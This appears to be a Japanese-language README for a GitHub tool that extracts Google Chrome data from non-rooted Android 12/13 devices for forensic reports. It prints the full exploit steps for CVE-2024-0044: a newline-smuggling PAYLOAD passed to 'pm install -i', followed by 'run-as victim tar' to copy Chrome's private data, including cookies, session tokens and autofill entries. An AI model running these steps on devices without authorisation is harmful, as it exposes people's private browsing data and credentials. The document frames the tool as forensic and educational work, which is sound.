
AndroidデバイスからGoogle Chromeのアーティファクトを抽出・解析するための堅牢なデジタルフォレンジックツール
著者: JackTekno
GitHub: github.com/JackTekno
このツールは CVE-2024-0044(Run-as)の脆弱性を利用して、root化されていないAndroid 12/13デバイスの権限制限を回避し、Google Chromeデータのフォレンジック抽出を可能にします。このツールは生のSQLiteデータベースを解析し、包括的な分析レポートを生成します。

取得からレポート作成までの完全なフォレンジック分析ワークフロー
このツールは、以下のシートを含む包括的なExcelレポート(result_chrome_forensic.xlsx)を生成します:
F-Droid.apk)リポジトリをクローン
git clone https://github.com/JackTekno/Chrome-Forensic_CVE-2024-0044.git
cd Chrome-Forensic_CVE-2024-0044
依存関係をインストール
pip install -r requirements.txt
# Push a dummy APK to temporary folder
adb push F-Droid.apk /data/local/tmp/base.apk
adb shell pm list packages -U | grep com.android.chrome
# Output example: package:com.android.chrome uid:10129
# Note the UID (e.g., 10129)
⚠️
10129は、ステップ3で確認した実際のChrome UIDに置き換えてください
adb shell
# Inside ADB Shell:
PAYLOAD="@null
victim 10129 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
# Trigger the package manager
pm install -i "$PAYLOAD" /data/local/tmp/base.apk
# Still inside ADB Shell
run-as victim tar -cf - /data/data/com.android.chrome/ | cat > /data/local/tmp/chrome.tar
# Exit ADB Shell
exit
adb pull /data/local/tmp/chrome.tar .
プロジェクトフォルダ内で 'chrome.tar' ファイルを展開します。ファイルを手動で移動する必要はありません。Pythonスクリプトが展開されたフォルダ内のデータベースファイルを自動的に見つけ出します。
tar -xf chrome.tar
フォレンジック分析ツールを実行します:
python3 chrome_forensic.py
このツールはデータベースファイルを解析し、同じディレクトリに result_chrome_forensic.xlsx を生成します。
⚠️ 重要: このツールは教育目的および許可されたフォレンジック分析のみを目的として設計されています。
- 所有しているデバイス、または分析するための明示的な書面による許可を得たデバイスでのみ使用してください
- デジタルデバイスへの不正アクセスは、お住まいの地域の法律に違反する可能性があります
- 著者はこのツールの誤用について一切の責任を負いません
コントリビューションを歓迎します! お気軽にPull Requestを送ってください。
このプロジェクトはGNU General Public License v3.0の下でライセンスされています。 詳細についてはLICENSEファイルを参照してください。
この取得方法の概念実証は、Tinyhack.comによって要約され、共有されました。
JackTeknoが❤️を込めて作成
| シート名 | 説明 |
|---|
| 📖 閲覧履歴 | 訪問したURLの詳細なタイムライン |
| 📈 分析 – 上位サイト | 最も訪問されたドメインの統計ランキング |
| ⚠️ アラート – 不審 | 自動フラグされたURL(ハッキング、薬物、アダルトコンテンツ) |
| 📥 ダウンロード | パスとファイルサイズを含むダウンロード履歴 |
| 🔍 検索語句 | オムニボックス/Googleからのユーザー検索クエリ |
| 🍪 Cookieとセッション | セッショントークンとCookieメタデータ(Hex暗号化) |
| ✍️ オートフィルデータ | 保存されたフォームデータ(名前、住所など) |